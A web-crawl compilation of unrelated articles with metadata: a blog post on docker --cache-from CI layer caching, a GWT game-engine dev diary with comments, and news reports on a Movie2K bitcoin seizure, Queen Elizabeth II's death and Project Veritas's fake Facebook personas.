# Using a docker registry as a distributed layer cache for CI This is a short blog post to cover a feature I hadn’t realised existed in docker: using an existing image as a source for layer caches. ## The problem At a lot of my workplaces we’ve often had at least one project that fits the following profile: - A project that users a docker container for some CI job. - The docker container installs a few system dependencies then some language dependencies. - The dependencies change relatively infrequently. - The build is run a few times a day, not enough to warm up the docker cache on all the CI workers. - A system that you may not work on often, so you want quick feedback from CI before moving to another task. Recently at my last contract we had exactly one of these. It was a node based build and the test suite itself was quite quick but the docker image build took quite a few minutes. ## A solution A lot of CI platforms have solutions for distributed docker layer caching (I know at least circleci and github actions have it). At the time of writing this post this was not an option on our internally hosted bamboo CI. What we did have though, was an internal docker registry(using artifactory). I’d also recently learnt about docker’s `--cache-from` argument. This allows you to use an existing image as a layer cache for a build. It’s also worth noting that the image we build is only used for running CI tests. We didn’t publish or deploy it, so we didn’t have to worry about publishing something that would fail tests or fail to deploy. So we changed the CI job to do the following (instead of just a plain `docker build` ) ``` IMAGE = some.remote.docker.cache.net/team/image_name # First pull the image to use as a cache docker pull ${IMAGE} || true # Build with the image as a cache. Any layer already built in the cache can the be skipped DOCKER_BUILDKIT=1 docker build -t ${IMAGE} --build-arg BUILDKIT_INLINE_CACHE=1 --cache-from ${IMAGE} . # Push back to the cache to keep the cache up to date. docker push ${IMAGE} ``` breaking this down a little: ### IMAGE = some.remote.docker.cache.net/team/image_name In our case this pointed to an image on our local docker image registry. It didn’t exist at the start but the very first CI job to run the build would publish this image. `DOCKER_BUILDKIT=1` In order for cache metadata to be created in a built image buildkit must be used. This is supported from docker version `18.09` . It can only build linux containers but this was not an issue for this particular project. `--build-arg BUILDKIT_INLINE_CACHE=1` This argument tells buildkit to include the cache metadata in the generated image. This is what enables us to push this image and use it as a cache source. `--cache-from` This is the part that speeds up our build. Now the build steps can be skipped for any layers in the image that haven’t changed. `docker push ${IMAGE}` This final step keeps the cache up to date. If one of the layers has changed, for example if a dependency has been updated, then this new updated layer will be pushed to the cache so the next build will benefit from it. ## Did it work? So far, yes. The build times dropped and everything seems to work. One thing I really like about this solution is that updates to dependencies get automatically updated in the cache. In the past I’ve seen this problem solved by creating a “base image” with the dependencies bundled in. This added an extra manual step of bumping the base image whenever dependencies got updated. Using a cache skips this complexity. So for anyone who wants to speed up docker build times and has a container registry available this is definitely something I recommend investigating.

Steps to use --cache-from to speed up CI builds that use docker

2024-10-12 00:00:00

2022-09-29 00:00:00

article

meadsteve.dev

MeadSteve's Dev Blog

https://www.cell.com/cell/fulltext/S0092-8674(19)30101-1?_returnURL=https%3A%2F%2Flinkinghub.elsevier.com%2Fretrieve%2Fpii%2FS0092867419301011%3Fshowall%3Dtrue

https://marlonribunal.substack.com/p/productivity-on-the-go

https://github.com/terminusdb/terminus-server/blob/dev/docs/whitepaper/terminusdb.pdf

terminusdb/docs/whitepaper/terminusdb.pdf at dev · terminusdb/terminusdb

Terminusdb

We read every piece of feedback, and take your input very seriously. To see all available qualifiers, see our documentation.

TerminusDB is a distributed database with a collaboration model - terminusdb/terminusdb

2024-10-12 00:00:00

2019-07-23 00:00:00

https://repository-images.githubusercontent.com/198466472/4e8b0680-670a-11eb-9c18-a0fbb87f36df

object

github.com

GitHub

http://flax.ie/flax-html5-game-engine-development-diary-part-1/

Flax HTML5 Game Engine Development Diary Part 1

Carl Lange

## Flax HTML5 Game Engine Development Diary Part 1 Well, it’s been almost 3 weeks since we started full time work on our HTML5 game engine, Flax. Some of these days have been quite productive and other days the work just came to grinding halt because of technologies we were hoping to use or features that we where hoping to exploit deciding not to work. However, work is progressing quite well now and the design document is starting to come together nicely. So what is this Flax Engine which we have heard passing reference to with little detail? The Flax Project is first and foremost a blog, from which we hope many different experimental projects will spawn. The first of which is the Flax HTML5 Game Engine. The Flax engine is our shot at making a web game engine which we can use to rapidly develop simple games for web platforms such as Facebook, the Google Chrome app store, Android, iPhone and basically any device with a modern web browser. With only 4 weeks left until college starts up again the pressure is on for us to complete this design document, and get even a beta version up and running, because once college starts there will be less time to work on the project. #### What I worked on this week This week I worked on quite a few different engine components but the two most notable and troublesome ones were the Events system and the file handling system. FileHandle was causing us some problems as my original hope to be able to serialize objects client side into something like JSON and save them to a file on the server turned out to be extremely difficult. Now remember we are using Google Web Toolkit, not actual JavaScript, which is where the block comes into play. Converting a JavaScript object into a JSON string is simple, but not when using GWT. Its somewhat hard to explain so I did this quick flow diagram. The problem lies in the fact we are using GWT to generate our JavaScript code, which converts our highly complex Java class into JavaScript classes, these are then quite difficult to interact with using GWT native methods and currently there exists no working Google Web ToolKit library that has implemented serialization for client side. After 4 days of googling and trying so many different libraries I am pretty confident in saying that we can’t do it. (Though I would be extremely happy if someone could prove me wrong.) **Soluation has been found ** Flax Engine: GWT client-side JSON serialization and deserialization #### Flax Events System After thinking about how many objects that could exist in a game, I soon realised that registering each object with all the other objects in the game to listen for events from one another would case some spaghetti junction architecture to form, causing quite a lot of messy unscalable code. So after some probing around the internet I was directed to this talk Google I/O 2009 – Best Practices for Architecting GWT App by Ray Ryan. He spoke about an event bus type architecture to achieve more decoupling and reduction in spaghetti junction architecture in GWT apps. Based on that I have taken that root for the events system in Flax. So that’s me for the weekend. Its finally here so a few pints wouldn’t go astray. The weather is amazing in Carlow at the moment so it’s just as well it’s the weekend. That’s my diary article done for the week and here is Carls Flax HTML5 Game Engine Development Diary Part 2 ### 16 Comments ### Trackbacks for this post - […] This post was mentioned on Twitter by Proggit Articles, Carl S. Lange. Carl S. Lange said: A fairly informative, technical post by @C_McCann on how the Flax Engine’s progressing. http://j.mp/btQLBv […] - […] Flax HTML5 Game Engine Development Diary Part 1 […] - […] Ciarán McCann is an extremely passionate and motivated programmer who has been programming for about 4 years now. Currently attending Carlow I.T studying computer games development. He has experience in many different programming languages, markup languages and general technologies. His role in the Flax Project is as a blogger/Web Designer and Flax Engine architect/programmer. My interests span all thinks technology orientated, though I like to keep fit and visit the gym on a regular basis. I also enjoy a good session. Please excuse any bad grammar/spelling, I am a bit on the Dyslexic side. Follow me on Twitter for info on what I am working on. Related posts:Flax HTML5 Game Engine Development Diary Part 1 […] - […] Flax HTML5 Game Engine Development Diary Part 1 […] - […] Flax HTML5 Game Engine Development Diary Part 1 […] Would love to read more about this, for example about your technical solutions like rendering in the engine, since I’ve done some JS game development as well. Subscribed 🙂 Thanks for the comment, I will include some more technical information about the rendering in my next Dev Diary. Thanks for your support. Don’t worry, there’s more info to follow soon. Thanks for subscribing! I see you are doing some JSON serialization and de-serialization. How do you do this? I was looking for a library to do this last week and I found this project to be the closest to what I wanted: http://code.google.com/p/gwtprojsonserializer/ Yes I have come across that library before, but could never get it to work. I will be doing a follow up post on this topic during the week so keep an eye out for that. I are working on a solution using the GWT-ent library. I had to modify the library to get it working. There were few easy-to-fix bugs. I haven’t the permission to update the source code, so I posted my updates on this ticket: http://code.google.com/p/gwtprojsonserializer/issues/detail?id=3 Also, you can look at the library GWT JSON RPC: http://android.git.kernel.org/?p=tools/gwtjsonrpc.git;a=blob;f=README;hb=HEAD The problem I have with this one is it is tight to a bunch of stuff I don’t really need. Good luck! I checked out that jar you submitted it works fine thanks. I had actually noticed that bug myself, but for some reason it didn’t work when I removed it. Thanks again. Though I am not sure does the library support collections, such as arrays or lists. I am currently looking into this in both GWT-ent and gwtprojsonserializer. I am using it to serialize a List of serialization object. I fixed few more bugs but I still dont have the permission to submit them on the main line:( I will email my latest version to you. Cheers. Well, I can’t find your email. I will post the new jar on the same issue page then. ciaran AT flax.ie for future reference. I haven’t looked into it much yet, in the process, but I have a class which has an int array in it but it doesn’t seem to serializes the array only the single properties of the class see the sample code I am working on here -> EDIT(updated link, wrong one linked to sample code for serialization with the GWT-ent lib) http://ubuntuone.com/p/Ej7/updated link was the wrong one it linked to sample code for serialization with the GWT-ent lib) here is the correct one http://ubuntuone.com/p/Ej7/ EDIT Arrays don’t work put as you say Lists do so I am pretty happy. Thanks very much for your help.

A look into the development progress of the HTML5 Flax web game engine currently been developed using GWT by Ciarán McCann and Carl Lange at IT Carlow

2024-10-12 00:00:00

2010-08-20 00:00:00

flax.ie

flax.ie

https://torrentfreak.com/authorities-secure-2-billion-in-bitcoin-from-pirate-site-operators-240130/

Authorities Secure $2 Billion in Bitcoin from Pirate Site Operators * TorrentFreak

Ernesto Van der Sar

Pirate sites were early adopters of cryptocurrency. The Pirate Bay, for example, started accepting bitcoin donations in 2013. At the time, a single bitcoin was worth roughly $120, just a fraction of today’s price of $43,000. If The Pirate Bay had kept all donations received it would have millions in bitcoin today. Movie2K was another pirate site that showed an early interest in bitcoin. In its heyday, the site was the dominant pirate streaming portal in German-speaking countries. It generated a healthy revenue stream, part of it held in bitcoin. ## Movie2K Bitcoin Loot The operator of the site never got to spend most of it though. The site surprisingly shut down in the spring of 2013. Many suspected that legal troubles had plagued the site, something confirmed years later when Dresden police announced several arrests. It was rare to see new activity in an already-dated dossier, but the biggest surprise followed later when the police announced that $29.7m in bitcoin had been secured from the site’s operators. This ‘seizure’ was one of the largest of its kind but the authorities estimated that the operators had more bitcoin stashed away, much more. Today, new information released by Dresden police shows that the assumption was correct. ## 50,000 Bitcoin Secured Following an investigation carried out by the Dresden General Prosecutor’s Office, the Saxony State Criminal Police, and the local tax authority (INES), nearly 50,000 bitcoin were ‘provisionally’ secured earlier this month. The haul is worth more than $2 billion at today’s exchange rate. Never before has this much bitcoin been secured by German authorities; it’s also one of the largest crypto hauls worldwide. “The Bitcoins were seized after the accused voluntarily transferred them to official wallets provided by the [Federal Criminal Police Office]. This means that a final decision has not yet been made about the utilization of the Bitcoins,” police write. ## Operators Bought Bitcoin The German authorities received help from forensic experts at the FBI to secure these assets. According to publicly released information, the operators earned money through advertising and dodgy subscription scams. Interestingly, the site operators didn’t necessarily get paid in bitcoin; they purchased the coins. They started converting their revenue to bitcoin in 2012 when it was worth just a few dollars per coin. Looking back, this must be one of the best investments ever made, although the operators don’t get to enjoy it. As noted by Tarnkappe, a 40-year-old German and a 37-year-old Polish man remain under investigation for copyright infringement and money laundering. It’s not clear whether the authorities believe that all Movie2K bitcoin have now been secured, or if they have even more in their sights.

German police managed to secure 50,000 Bitcoin (USD $2 billion) from the operators of the defunct movie streaming portal, Movie2k.

2024-10-12 00:00:00

2024-01-30 00:00:00

article

torrentfreak.com

Torrentfreak

https://www.bbc.com/news/uk-61585886

Queen Elizabeth II has died

# Queen Elizabeth II has died **Queen Elizabeth II, the UK's longest-serving monarch, has died at Balmoral aged 96, after reigning for 70 years.** She died peacefully on Thursday afternoon at her Scottish estate, where she had spent much of the summer. The Queen came to the throne in 1952 and witnessed enormous social change. Her son King Charles III said the death of his beloved mother was a "moment of great sadness" for him and his family and that her loss would be "deeply felt" around the world. He said: "We mourn profoundly the passing of a cherished sovereign and a much-loved mother. "I know her loss will be deeply felt throughout the country, the realms and the Commonwealth, and by countless people around the world." During the coming period of mourning, he said he and his family would be "comforted and sustained by our knowledge of the respect and deep affection in which the Queen was so widely held". The King and his wife, Camilla, now Queen Consort, will return to London on Friday, Buckingham Palace said. He is expected to address the nation. Senior royals had gathered at Balmoral after the Queen's doctors became concerned about her health earlier in the day. All the Queen's children travelled to Balmoral, near Aberdeen, after doctors placed the Queen under medical supervision. Her grandson and now heir to the throne, Prince William, and his brother, Prince Harry, also gathered there. Prime Minister Liz Truss, who was appointed by the Queen on Tuesday, said the monarch was the rock on which modern Britain was built, who had "provided us with the stability and strength that we needed". Speaking about the new King, she said: "We offer him our loyalty and devotion, just as his mother devoted so much, to so many, for so long. "And with the passing of the second Elizabethan age, we usher in a new era in the magnificent history of our great country, exactly as Her Majesty would have wished, by saying the words 'God save the King'." The Archbishop of Canterbury Justin Welby - spiritual leader to the Church of England of which the monarch is supreme governor - expressed his "profound sadness". He said his "prayers are with the King and the Royal Family". Queen Elizabeth II's tenure as head of state spanned post-war austerity, the transition from empire to Commonwealth, the end of the Cold War and the UK's entry into - and withdrawal from - the European Union. Her reign spanned 15 prime ministers starting with Winston Churchill, born in 1874, and including Ms Truss, born 101 years later in 1975. She held weekly audiences with her prime minister throughout her reign. At Buckingham Palace in London, crowds awaiting updates on the Queen's condition began crying as they heard of her death. The union flag on top of the palace was lowered to half-mast at 18:30 BST and an official notice announcing the death was posted outside. On the Queen's death, Prince William and his wife, Catherine, became the Duke and Duchess of Cambridge and Cornwall. The Queen was born Elizabeth Alexandra Mary Windsor, in Mayfair, London, on 21 April 1926. Few could have foreseen she would become monarch but in December 1936 her uncle, Edward VIII, abdicated from the throne to marry the twice-divorced American, Wallis Simpson. Elizabeth's father became King George VI and, at age 10, Lilibet, as she was known in the family, became heir to the throne. Within three years, Britain was at war with Nazi Germany. Elizabeth and her younger sister, Princess Margaret, spent much of wartime at Windsor Castle after their parents rejected suggestions they be evacuated to Canada. After turning 18, Elizabeth spent five months with the Auxiliary Territorial Service and learned basic motor mechanic and driving skills. "I began to understand the esprit de corps that flourishes in the face of adversity," she recalled later. Through the war, she exchanged letters with her third cousin, Philip, Prince of Greece, who was serving in the Royal Navy. Their romance blossomed and the couple married at Westminster Abbey on 20 November 1947, with the prince taking the title of Duke of Edinburgh. She would later describe him as "my strength and stay" through 74 years of marriage, before his death in 2021, aged 99. Their first son, Charles, was born in 1948, followed by Princess Anne, in 1950, Prince Andrew, in 1960, and Prince Edward, in 1964. Between them, they gave their parents eight grandchildren and 12 great-grandchildren. Princess Elizabeth was in Kenya in 1952, representing the ailing King, when Philip broke the news that her father had died. She immediately returned to London as the new Queen. "It was all a very sudden kind of taking on and making the best job you can," she later recalled. Elizabeth was crowned at Westminster Abbey on 2 June 1953, aged 27, in front of a then-record TV audience estimated at more than 20 million people. Subsequent decades would see great change, with the end of the British Empire overseas and the Swinging '60s sweeping away social norms at home. Elizabeth reformed the monarchy for this less deferential age, engaging with the public through walkabouts, royal visits and attendance at public events. Her commitment to the Commonwealth was a constant - she visited every Commonwealth country at least once. But there were periods of private and public pain. In 1992, the Queen's "annus horribilis", fire devastated Windsor Castle - a private residence as well as working palace - and three of her children's marriages broke down. After the death of Diana, Princess of Wales, in a car accident in Paris in 1997, the Queen drew criticism for appearing reluctant to respond publicly. There were questions about the monarchy's relevance in modern society. "No institution… should expect to be free from the scrutiny of those who give it their loyalty and support, not to mention those who don't," she acknowledged. As a 21-year-old princess, Elizabeth had vowed to devote her life to service. Reflecting on those words decades later, during her Silver Jubilee in 1977, she declared: "Although that vow was made in my salad days, when I was green in judgment, I do not regret nor retract one word of it." That same commitment to serving was made 45 years later in a thank you letter to the nation on the weekend of her Platinum Jubilee in June. The milestone was celebrated with a mix of state ceremonies and a colourful festival of all things British, as well as lively street parties. Although the Queen's health kept her from some events, she said: "My heart has been with you all." In a moment met with cheers from huge crowds in the Mall, she was joined by three generations of her family on the Buckingham Palace balcony for the finale of a pageant. King Charles, aged 73, becomes head of state in 15 Commonwealth realms, including the UK. He and his wife, Camilla, are at Balmoral alongside his siblings, Princess Anne, and Princes Andrew and Edward. They are accompanied by Edward's wife, Sophie, as well as Princes William and Harry. William's wife, Catherine, remained at Windsor with their children - George, Charlotte and Louis - as it has been their first full day at a new school. The Royal Family has now entered a period of mourning. In the coming days, much of national life will be put on hold. Official engagements will be cancelled and union flags will be flown at half-mast on royal residences, government buildings, across the Armed Forces and on UK posts overseas. Members of Parliament will pay tribute to the Queen and take an oath to King Charles. There will be church bells tolling and gun salutes as local and national organisations and charities organise ways to pay their respects, with commemorative events and books of condolence. A state funeral for the Queen is expected in the next two weeks. Foreign leaders have paid tribute to the Queen, with US President Joe Biden recalling how she stood in solidarity with the US in their "darkest days" after the 9/11 terrorist attacks. To France's president, Emmanuel Macron, she was a "kind-hearted Queen" and "friend of France". For Justin Trudeau, Canada's prime minister, the Queen was a constant in Canadians' lives and one of his "favourite people in the world". *Reporting by George Bowden, Marie Jackson and Sean Coughlan, royal correspondent.* **What are your memories of the Queen? Share your tributes and reflections by emailing **yourqueen@bbc.co.uk**.** Please include a contact number if you are willing to speak to a BBC journalist. You can also get in touch in the following ways: - WhatsApp: **+44 7756 165803** - Upload pictures or video - Please read our terms & conditions and privacy policy If you are reading this page and can't see the form you will need to visit the mobile version of the BBC website to submit your question or comment or you can email us at yourqueen@bbc.co.uk. Please include your name, age and location with any submission.

Her son King Charles III pays tribute to his "beloved mother" who has died peacefully at Balmoral.

2024-10-12 00:00:00

2022-09-08 00:00:00

reportagenewsarticle

bbc.com

BBC News

https://theintercept.com/2019/06/11/facebook-rules-project-veritas/

Right-Wing Sting Group Project Veritas Is Breaking Facebook's "Authentic Behavior" Rule. Now What?

Sam Biddle

__A member of__ Project Veritas gave testimony in a federal court case indicating that the right-wing group, known for its undercover videos, violates Facebook policies designed to counter systematic deception by Russian troll farms and other groups. The deposition raises questions over whether Facebook will deter American operatives who use the platform to strategically deceive and damage political opponents as vigorously as it has Iranian and Russian propagandists. But is the company capable of doing so without just creating more problems? Close observers of Veritas and Facebook, including one at a research lab that works with the social network, said the testimony shows the group is clearly violating policies against what Facebook refers to as “coordinated inauthentic behavior.” The company formally defined such behavior in a December 2018 video featuring its cybersecurity policy chief Nathaniel Gleicher, who said it “is when groups of pages or people work together to mislead others about who they are or what they’re doing.” The designation, Gleicher added, is applied by Facebook to a group not “because of the content they’re sharing” but rather only “because of their deceptive behavior.” That is, using Facebook to dupe people is all it takes to fit the company’s institutional definition of coordinated inauthentic behavior. In practice, “coordinated inauthentic behavior” has become a sort of catchall label for untoward meddling on Facebook, snagging everyone from Burmese military officers to Russian meme spammers. But curbing such activity has become a very public crusade for Facebook in the wake of its prominent role as a platform for the spread of disinformation, propaganda, and outright hoaxes during the 2016 presidential campaign. This past January, Gleicher announced the removal of coordinated inauthentic behavior from Iran, which spread when operatives “coordinated with one another and used fake accounts to misrepresent themselves,” thus triggering a Facebook ban. Similarly, in a 2017 update on Facebook’s internal investigation into Russian online propaganda efforts, the company’s then-head of security Alex Stamos assured the world’s democracies the company was providing “technology improvements for detecting fake accounts,” including “changes to help us more efficiently detect and stop inauthentic accounts at the time they are being created.” Throughout all of this, coordinated inauthentic behavior has remained more or less synonymous with “foreign actors” and “nation-states,” the cloak-and-dagger stuff of an increasingly militarized internet filled with enemies of the Western Democracy who seek to subvert it from abroad. Project Veritas, a hybrid of an opposition research shop and a ranting YouTube channel, has taken pride in its ability to deceive since its creation in 2010. With conservative backers like Peter Thiel, the Koch brothers, and the Trump Foundation, the group and its founder James O’Keefe have worked relentlessly to target and malign individuals at institutions they deem leftist, whether it’s Planned Parenthood (reportedly targeted by O’Keefe posing as a young teen’s 23-year-old boyfriend), George Soros (the progressive philanthropist whose professional circle Veritas tried and spectacularly failed to infiltrate), or the Washington Post (whose reporter was offered a fake story on Alabama Senate candidate Roy Moore). O’Keefe has long attempted to position himself in the context of dogged, daring, traditional journalism, describing Veritas’s efforts as “investigative” reporting executed by “undercover journalists.” But his efforts are often executed by what the New Yorker has called “amateurish spies” — their efforts against the Post and Soros resembled a Three Stooges bit — and packaged with mendacious editing, duplicitous production, and outright lying, making Veritas’s audience as much a victim of its productions as the subjects. Debates over who or what is to be considered “real journalism” are almost always counterproductive and contrived, but Veritas stands out for the shamelessness with which it pursues nakedly partisan ends. There is, of course, a proud tradition of undercover journalism executed unequivocally in the name of informing the public. Writers like Barbara Ehrenreich and Shane Bauer have taken jobs they were not otherwise interested in in order to reveal injustices in society’s margins, and some of the most damning details of the Cambridge Analytica scandal were exposed by a reporter with the UK’s Channel 4 posing as a foreign politician interested in the company’s services. This reporting involved lying, sure — or at least the withholding of true intent, and a willingness to let others deceive themselves — but only as a means to a truthful end. The distinction between these reporters and Veritas operatives may be that the end the latter group seeks, the final media product, is typically just another act of partisan misdirection that doesn’t withstand further scrutiny. Neither Project Veritas nor Facebook commented for this story. ### “Legend Building” by Project Veritas Project Veritas has systematically deceived not just targets on the left and viewers on the right but Facebook users as well (their official page has over 200,000 followers) at a time when the company is publicly dedicated to fighting this sort of systemic duplicity. That’s a wrinkle that raises questions about Facebook’s commitment to rooting out coordinated inauthentic behavior closer to home — Thiel sits on the company’s board — not to mention Project Veritas’s presence on social media. “We thus have the admission of intent by the organization and evidence of action by multiple of its agents.” In 2017, O’Keefe sued the Suffolk County district attorney over a Massachusetts law barring the covert recording of government officials. This past December, a federal judge overturned the rule. But in the course of the lawsuit, Joe Halderman, a member of the Project Veritas inner circle who was previously convicted of trying to extort late night television host David Letterman in 2010, sat for a deposition. In it, Halderman was compelled to submit to a sworn interrogation of Veritas methods. Just how does one go about duping savvy politicos and the politico-adjacent in the 21st century? During his deposition, Halderman, Project Veritas’s self-described “executive producer,” stated under oath that the organization falsifies Facebook accounts as part of its overall strategy of deceiving the targets of its investigations. Halderman, characterizing himself as “integrally involved in [Project Veritas’s] investigations and have been since I started four years ago,” describes the work that went into setting up Robert Creamer, a Democratic operative recorded by Veritas in a 2016. That video attempted to portray Creamer as complicit in a Hillary Clinton-led campaign to violently disrupt Donald Trump’s campaign events with counterprotests and engaging in counter-Trump voter fraud — both regular, unfounded talking points repeated by Trump on the campaign trail. Last year, the Wisconsin Department of Justice concluded an investigation into the videos, determining that they “reveal no evidence of election fraud,” the Associated Press reported. But before Veritas could get Creamer on camera, they needed to make contact via a fake persona, Halderman explained. Per the transcript (emphasis added): Q. And you spoke earlier about PVA [Veritas] creating this donor, Charles. When you say create the donor, what did PVA do to create the donor? A. So, I thought of a name. I talked to the undercover journalist who was the person who met with Foval. We between us sort of created this story of this person. I got some business cards made. I got an e-mail. I set up an e-mail account. What else did I do? I think that’s about all I did. Again, in this particular case, we didn’t feel like they were going to get seriously vetted. In some investigations we do legend building because we believe or our concern is that we’re going to be vetted reasonably, you know, by open source information. So, we’ll create a Facebook page, a LinkedIn page. We’ve even gone so far in the past of creating LLCs, offshore bank accounts. We do a lot of things because undercover journalism is a tricky, complicated business. According to Lauren Windsor, a political organizer and partner at Democracy Partners (alongside Robert Creamer) who began documenting Veritas’s team of “undercover” operatives and their various aliases after her own organization was infiltrated, this sort of use of phony social accounts is the group’s standard operating procedure. “In conducting extensive outreach to victims and extensive research of social media networks to build the vetting resource website Project Veritas Exposed,” explained Windsor, “I documented several instances of PV violating Facebook’s terms by creating fake profiles. We thus have the admission of intent by the organization and evidence of action by multiple of its agents.” Windsor’s work includes cataloging Project Veritas’s network of fake Facebook accounts; Windsor provided screenshots to The Intercept. In one example, Veritas operative Marisa Jorge’s likeness is used for the Facebook profile of “Ava-Marie Joyce.” The bio of the Ava-Marie persona bizarrely describes herself as “Carrie Tallinn, a self-employed professional women’s right activist.” According to a 2018 lawsuit reported by The Intercept last year, Jorge previously misrepresented herself as a University of Michigan student in order to gain improper access to teachers union documents. The friends list for “Ava-Marie Joyce” lists another profile fabricated by Project Veritas, “Ava Marie Allen.” Another screenshot shows a Facebook profile for “Tyler Marshall,” which O’Keefe himself disclosed as a fabricated identity in his 2018 book “American Pravda.” In a section of that book (subtitle: “My Fight For Truth in the Era of Fake News”) detailing Veritas’s attempts to infiltrate protestors planning action around Trump’s presidential inauguration, O’Keefe wrote that his operatives all “of course, establish a social media presence under their assumed names—‘Tyler Marshall,’ say, or ‘Adam Stevens.’ The presence includes Twitter, Facebook, and email at the least.” ### Exploitation of Facebook by a Group Linked To Military Intelligence Emerson Brooking, a resident fellow at the Atlantic Council’s Digital Forensics Research Lab, said Veritas’s homegrown social media deception is a clear violation of Facebook’s policy. After reading the deposition, Brooking told The Intercept, “Mr. Halderman describes the creation of fake Facebook personas for the purpose of deception” and “implies that this is a regular and systematic practice. Under any reasonable definition, Project Veritas is engaged in coordinated inauthentic behavior and abuse of the Facebook platform.” “Under any reasonable definition, Project Veritas is engaged in coordinated inauthentic behavior and abuse of the Facebook platform.” Brooking’s group, a frequently cited authority on online electoral interference and other digital propaganda campaigns, entered into an official partnership with Facebook last year. A Facebook director wrote at the time that experts at the lab “will work closely with our security, policy and product teams to get Facebook real-time insights and updates on emerging threats and disinformation campaigns from around the world.” If it sounds like a stretch to compare Project Veritas to a Russian troll farm, consider the group’s links to the U.S. defense establishment. As The Intercept reported in May, Veritas members underwent “intelligence and elicitation techniques from a retired military intelligence operative named Euripides Rubio Jr.,” personally arranged by the infamous American mercenary and Trump adviser Erik Prince. What we have here, then, is a 2016 military intelligence-linked, organized effort to undermine the Democratic Party and boost the Trump presidential campaign using falsified social media profiles. If that doesn’t sound familiar, it certainly should. The problem with Facebook and its peers has never been identifying abuses and misuses, whether truly dangerous or merely toxic; Facebook, Twitter, and Google alone represent perhaps history’s greatest living catalog of antisocial behavior, a frenzy of rule violation on a mass scale. Whether these companies deem comprehensive content moderation simply too expensive or not worth the public relations mess, the fact is that the public rarely sees movement on these issues in the absence of congressional scolding or media uproar. The real issue is uneven, arbitrary enforcement of “the rules.” Max Read, writing in New York magazine on another social network’s enforcement blunders, argued that “the problem for YouTube is that for rules to be taken seriously by the people they govern, they need to be applied consistently and clearly.” YouTube is about as terrible at this exercise as Facebook is, and there’s a good chance that if Facebook treated malicious right-wing American exploitation of its network the same way it treats malicious foreign exploitation of its network, it would probably botch the whole thing and end up burning people who actually do use phony Facebook profiles for work toward the public good. That a company like Facebook is even in a position to create “rules” like the coordinated inauthentic behavior policy that apply to a large chunk of the Earth’s population is itself a serious problem, one made considerably worse by completely erratic enforcement. It’s bad enough having a couple guys in California take up the banner of defending “Democracy” around the world through the exclusive control of one of the most powerful information organs in human history; if nothing else, we should hope their decisions are predictable and consistent. Correction: June 11th, 2019, 11:19 a.m. This article has been updated to name Lauren Windsor’s employer, Democracy Partners, where she is a partner. ## Latest Stories ### An Informant Pushed Him to Plot a Subway Bombing. After 20 Years Behind Bars, He Has a Chance at Freedom. Shahawar Matin Siraj is one of many Muslim men convicted in informant-related terrorism cases. Now he’s seeking compassionate release. Israel’s War on Gaza ### Four Days in Gaza: Five Journalists Killed or Wounded “It was not random, but direct targeting on purpose. Fadi was wearing his press uniform.” Israel’s War on Gaza ### U.S. Journalist Jeremy Loffredo Released After Being Detained by Israel for Four Days Jeremy Loffredo was taken into custody on suspicion of “assisting an enemy in war” for his reporting on Iran’s missile attack.

Sworn testimony by a Project Veritas operative shows the group is violating Facebook rules designed to curb troll farms, a key expert says.

2024-10-12 00:00:00

2019-06-11 00:00:00

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theintercept.com

The Intercept